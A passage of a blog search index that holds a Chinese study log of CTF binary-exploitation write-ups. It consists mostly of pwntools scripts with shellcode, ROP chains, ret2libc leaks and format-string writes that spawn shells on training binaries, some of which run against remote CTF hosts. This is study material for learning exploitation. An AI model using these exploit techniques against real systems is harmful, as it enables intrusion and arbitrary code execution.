-
Notifications
You must be signed in to change notification settings - Fork 2
/
search.xml
717 lines (717 loc) · 433 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title><![CDATA[study]]></title>
<url>%2F2023%2Fsstudy%2F</url>
<content type="text"><![CDATA[前言 学习记录 ret2textret2text 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950from pwn import *local = 1pc = './ret2text'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()if __name__ == '__main__': target = 0x804863a payload = b'a' * 0x6c payload += b'b'*4 payload += p32(target) sla('There is something amazing here, do you know anything?\n', payload) pi() cgpwn2file & checksecAnalyse hello 函数中存在 gets 栈溢出 EXP 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import *from ctypes import *local = 0pc = './dice_game'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['61.147.171.104', 37517] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()elf = ELF('./cgpwn2')system_plt = elf.plt['system']name_addr = 0x804A080sla(b'please tell me your name\n', '/bin/sh')payload = b'a'*0x26payload += b'b'*4payload += p32(system_plt)payload += p32(0xdeaddead)payload += p32(name_addr)sla(b'hello,you can leave some message here:\n', payload)pi() ret2shellcoderet2shellcode-bamboofox 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354from pwn import *local = 1pc = './ret2shellcode'aslr = Falsecontext.log_level = 'debug'context.terminal = ["tmux","splitw","-h"]#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')#ret2libc3 = ELF('./ret2libc3')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))if __name__ == '__main__': #debug() #shellcode = asm(shellcraft.sh()) shellcode = b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80" buf2_addr = 0x804A080 payload = shellcode.ljust(0x6c+4, b'a') payload += p32(buf2_addr) sl(payload) pi() sniperoj-pwn100-shellcode-x86-64 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960from pwn import *local = 1pc = './shellcode'aslr = Falsecontext.log_level = 'debug'context.terminal = ["tmux","splitw","-h"]#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')#ret2libc3 = ELF('./ret2libc3')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))if __name__ == '__main__': # 23 bytes # https://www.exploit-db.com/exploits/36858/ shellcode_x64 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" ru('[') buf_addr = rud(']') buf_addr = int(buf_addr, 16) lg('buf_addr', buf_addr) payload = b'a' * (0x10+8) payload += p64(buf_addr+0x10+8+8) payload += shellcode_x64 sl(payload) pi() ret2syscallret2syscall-bamboofox 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182from pwn import *local = 1pc='./rop'aslr = Falsecontext.log_level = 'debug'context.terminal = ["tmux","splitw","-h"]#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')#ret2libc3 = ELF('./ret2libc3')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))if __name__ == '__main__': ''' $ ROPgadget --binary ./rop --only "pop|ret" | grep edx 0x0806eb69 : pop ebx ; pop edx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0806eb6a : pop edx ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret $ ROPgadget --binary ./rop --only "pop|ret" | grep eax 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret ''' #debug() ru(b'This time, no system() and NO SHELLCODE!!!\n') pop_edx_ecx_ebx_ret = 0x0806eb90 pop_eax_ret = 0x080bb196 binsh_addr = 0x80BE408 int80_addr = 0x08049421 payload = b'a'*0x6c payload += b'b'*4 payload += p32(pop_eax_ret) payload += p32(0xb) payload += p32(pop_edx_ecx_ebx_ret) payload += p32(0) payload += p32(0) payload += p32(binsh_addr) payload += p32(int80_addr) sl(payload) #pause() pi() Recho rctf2017file & checksec Analyse 存在一个很明显的问题,就第二次可以输入的字符串大小是根据第一次输入的数字大小确定的,所以存在一个明显的栈溢出 但是第一个问题是这个循环是个死循环,如果直接使用 close() 函数程序会直接退出,查询资料后发现 pwn 库中提供了 shutdown() 函数,他可以关闭 IO 流,即让循环正常退出 既然使用 shutdown 函数,我们必须一次性将 payload 发送过去,这就导致我们不能使用内存泄漏来泄漏 system 函数,查询了一下字符串发现有一个 flag ,所以我们考虑使用系统调用完成,alarm,open,read,write函数的实现都是通过 syscall 实现的,我们选择将 alarm_got 覆盖成 syscall ,通过调试发现 syscall 就在 alarm 函数中 +5 的位置,那我们只需要让 alarm_got 指向的地址 +5 即可 然后使用 open 系统调用打开文件流,再用 read 函数读取(fd是3,0,1,2已经分别被标准输入、标准输出、标准错误所占用),然后使用 write 或者 printf 输出 EXP 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114from pwn import *# from ctypes import *local = 0pc = './Recho'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]elf = ELF('./Recho')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['61.147.171.104', 46687] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()# ROPgadget --binary ./Recho --only "pop|ret" | grep raxpop_rax_ret = 0x00000000004006fc# ROPgadget --binary ./Recho --only "pop|ret" | grep rdipop_rdi_ret = 0x00000000004008a3# ROPgadget --binary ./Recho --only "pop|ret" | grep rsipop_rsi_r15_ret = 0x00000000004008a1# ROPgadget --binary ./Recho --only "pop|ret" | grep rdxpop_rdx_ret = 0x00000000004006fe# ROPgadget --binary ./Recho | grep "add"# 0x000000000040070d : add byte ptr [rdi], al ; retadd_rdic_al_ret = 0x000000000040070dalarm_plt = elf.plt['alarm']alarm_got = elf.got['alarm']printf_plt = elf.plt['printf']flag_addr = 0x601058buff_addr = 0x601800'''update alarm_got to syscall'''payload = b'a'*0x30payload += b'b'*8payload += p64(pop_rax_ret)payload += p64(0x5)payload += p64(pop_rdi_ret)payload += p64(alarm_got)payload += p64(add_rdic_al_ret)'''int f = open('flag', 'r') by syscall'''payload += p64(pop_rax_ret)payload += p64(0x2)payload += p64(pop_rdi_ret)payload += p64(flag_addr)payload += p64(pop_rsi_r15_ret)payload += p64(0) + p64(0)payload += p64(pop_rdx_ret)payload += p64(0)payload += p64(alarm_plt)'''read(f, stdin, len) by syscall'''payload += p64(pop_rax_ret)payload += p64(0)payload += p64(pop_rdi_ret)payload += p64(3)payload += p64(pop_rsi_r15_ret)payload += p64(buff_addr) + p64(0)payload += p64(pop_rdx_ret)payload += p64(0x30)payload += p64(alarm_plt)'''printf(buf_addr)'''payload += p64(pop_rdi_ret)payload += p64(buff_addr)payload += p64(printf_plt)payload = payload.ljust(0x200, b'\x00')sla(b'Welcome to Recho server!\n', str(0x200))sl(payload)p.shutdown("send")pi() ret2libcret2libc1 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556from pwn import *local = 1pc='./ret2libc1'aslr = Falsecontext.log_level = 'debug'context.terminal = ["tmux","splitw","-h"]#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')#ret2libc3 = ELF('./ret2libc3')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))if __name__ == '__main__': binsh_addr = 0x8048720 system_plt = 0x8048460 payload = b'a'*0x6c payload += b'b'*4 payload += p32(system_plt) payload += b'dead' payload += p32(binsh_addr) sl(payload) pi() ret2libc2 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465from pwn import *local = 1pc='./ret2libc2'aslr = Falsecontext.log_level = 'debug'context.terminal = ["tmux","splitw","-h"]#libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')#ret2libc3 = ELF('./ret2libc3')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr) #gdb.attach(p,'c')else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))if __name__ == '__main__': gets_plt = 0x8048460 system_plt = 0x8048490 buf2_addr = 0x804A080 binsh = b'/bin/sh\x00' pop_ebp_ret = 0x0804872f payload = b'a'*0x6c payload += b'b'*4 payload += p32(gets_plt) payload += p32(pop_ebp_ret) payload += p32(buf2_addr) payload += p32(system_plt) payload += p32(0xdeadbeef) payload += p32(buf2_addr) sl(payload) sl(binsh) pi() ret2libc3demo 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374from pwn import *local = 1pc = './ret2libc3'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]ret2libc3 = ELF('./ret2libc3')libc = ELF('./libc6_2.31-0ubuntu9.9_i386.so')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()if __name__ == '__main__': puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] start_addr = ret2libc3.symbols['_start'] payload = b'a'*0x6c payload += b'b'*4 payload += p32(puts_plt) payload += p32(start_addr) payload += p32(libc_start_main_got) sla(b'Can you find it !?', payload) libc_start_main_addr = u32(p.recv()[0:4]) lg('libc_start_main_addr', libc_start_main_addr) libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main'] lg('libc_base_addr', libc_base_addr) libc.address = libc_base_addr system_addr = libc.symbols['system'] binsh_addr = libc.search(b"/bin/sh").__next__() payload = b'a'*0x6c payload += b'b'*4 payload += p32(system_addr) payload += p32(0xdeadbeef) payload += p32(binsh_addr) sla(b'Can you find it !?', payload) pi() train.cs.nctu.edu.tw: ret2libc 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677from pwn import *from LibcSearcher import *local = 1pc = './ret2libc3'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]ret2libc3 = ELF('./ret2libc3')libc = ELF('./libc6-i386_2.27-3ubuntu1.5_amd64.so')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()if __name__ == '__main__': puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] start_addr = ret2libc3.symbols['_start'] payload = b'a'*0x6c payload += b'b'*4 payload += p32(puts_plt) payload += p32(start_addr) payload += p32(libc_start_main_got) sla(b'Can you find it !?', payload) libc_start_main_addr = u32(p.recv()[0:4]) lg('libc_start_main_addr', libc_start_main_addr) #libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main'] lg('libc_base_addr', libc_base_addr) #libc.address = libc_base_addr system_addr = libc_base_addr + libc.symbols['system'] #binsh_addr = libc.search(b"/bin/sh").__next__() binsh_addr = libc_base_addr + libc.search(b"/bin/sh").__next__() payload = b'a'*0x6c payload += b'b'*4 payload += p32(system_addr) payload += p32(0xdeadbeef) payload += p32(binsh_addr) sl(payload) pi() ret2__libc_csu_inithitcon-level5 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129from pwn import *from LibcSearcher import *import timelocal = 1pc = './level5'aslr = Truecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]level5 = ELF('./level5')#libc = ELF('./libc.so')if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['111.198.29.45', 39802] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()'''.text:0000000000400600.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j.text:0000000000400600 mov rdx, r13.text:0000000000400603 mov rsi, r14.text:0000000000400606 mov edi, r15d.text:0000000000400609 call qword ptr [r12+rbx*8].text:000000000040060D add rbx, 1.text:0000000000400611 cmp rbx, rbp.text:0000000000400614 jnz short loc_400600.text:0000000000400616.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j.text:0000000000400616 add rsp, 8.text:000000000040061A pop rbx.text:000000000040061B pop rbp.text:000000000040061C pop r12.text:000000000040061E pop r13.text:0000000000400620 pop r14.text:0000000000400622 pop r15.text:0000000000400624 retn.text:0000000000400624 __libc_csu_init endp'''def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = b'a' * 0x80 payload += b'b' * 8 payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += b'a' * (0x8*7) payload += p64(last) sn(payload) time.sleep(1)#debug()write_got = level5.got['write']read_got = level5.got['read']main_addr = level5.symbols['main']bss_base = level5.bss()csu_front_addr = 0x0000000000400600csu_end_addr = 0x000000000040061A# rdi,rsi,rdx,rcx,r8,r9# write(1,write_got,8)ru(b'Hello, World\n')csu(0, 1, write_got, 8, write_got, 1, main_addr)write_addr = u64(rv(8))lg('write_addr', write_addr)'''write_got = 0x7f6e0f5a30f0read_got = 0x7f6e0f5a3020__libc_start_main = 0x7f6e0f5a3ba0''''''libc = LibcSearcher('write', write_addr)libc_base = write_addr - libc.dump('write')execve_addr = libc_base + libc.dump('execve')'''libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')libc_base = write_addr - libc.symbols['write']execve_addr = libc_base + libc.symbols['execve']lg('libc_base', libc_base)lg('execve_addr', execve_addr)# read(0,bss_base,16)# read execve_addr and /bin/sh\x00ru(b'Hello, World\n')csu(0, 1, read_got, 16, bss_base, 0, main_addr)#pause()sn(p64(execve_addr) + b'/bin/sh\x00')# execve(bss_base+8)ru(b'Hello, World\n')csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)pi() Format Stringint_overflowfile & checksec Analyse check_passwd 函数 v3 是 uint8 ,对 buf 进行了低字节截断 3 =< v3 <= 8 ,所以 0x103 =< buf_size <= 0x108 EXP 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556from pwn import *local = 0pc = './cgfsb'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['61.147.171.104', 45109] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()elf = ELF('./int_overflow')system_plt = elf.plt['system']cat_flag_addr = 0x8048960sla(b'Your choice:', '1')sla(b'Please input your username:\n', 'pwn')payload = b'a'*0x14payload += b'b'*4payload += p32(system_plt)payload += p32(0xdeaddead)payload += p32(cat_flag_addr)payload += b'c'*(0x103-len(payload))sla(b'Please input your passwd:\n', payload)pi() CGfsbfile & checksec Analyse 23 行有个格式化字符串漏洞 利用 %k$n 覆盖 pwnme ,需要找到偏移量,经过调试,如下图,偏移量是 10 所以利用 %nc 与 %k$n 达到覆盖 pwnme 的目的,可构造 [addr of pwnme]%4c%10$n EXP 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748from pwn import *local = 0pc = './cgfsb'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['61.147.171.104', 48401] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()payload = b'aa'sla(b'please tell me your name:\n', payload)#debug()pwnme_addr = 0x804A068payload = p32(pwnme_addr)payload += b'%4c'payload += b"%10$n"sla(b'leave your message please:\n', payload)#pause()pi() seed_overflowdice_gamefile & checksec Analyse rand() 生成的随机数和随机种子 seed() 有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到 seed() ,实现一个可预测的随机数列 EXP 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from pwn import *from ctypes import *local = 0pc = './dice_game'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['61.147.171.104', 45961] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def raddr(a=6): if(a==6): return u64(rv(a).ljust(8, '\x00')) else: return u64(rl().strip('\n').ljust(8, '\x00'))ru = lambda x : p.recvuntil(x)rud = lambda x : p.recvuntil(x, drop=True)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a, b)sla = lambda a,b : p.sendlineafter(a, b)pi = lambda : p.interactive()libc = cdll.LoadLibrary('./libc.so.6')libc.srand(1)payload = b'a'*0x40payload += p64(1)sla(b'Welcome, let me know your name: ', payload)for i in range(50): rand_value = libc.rand() % 6 + 1 sla(b'Give me the point(1~6): ', str(rand_value))pi() guess_numfile & checksec Analyse rand() 生成的随机数和随机种子 seed() 有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到 seed(0) ,实现一个可预测的随机数列,连续猜中 10 次 EXP 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from pwn import *from ctypes import *local = 0pc = './guess_num'aslr = Falsecontext.log_level = Truecontext.terminal = ["tmux","splitw","-h"]if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'}) p = process(pc, aslr=aslr)else: remote_addr = ['61.147.171.104', 57091] p = remote(remote_addr[0], remote_addr[1])def debug(b=""): gdb.attach(p, b) pause()def lg(s, addr): log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))def 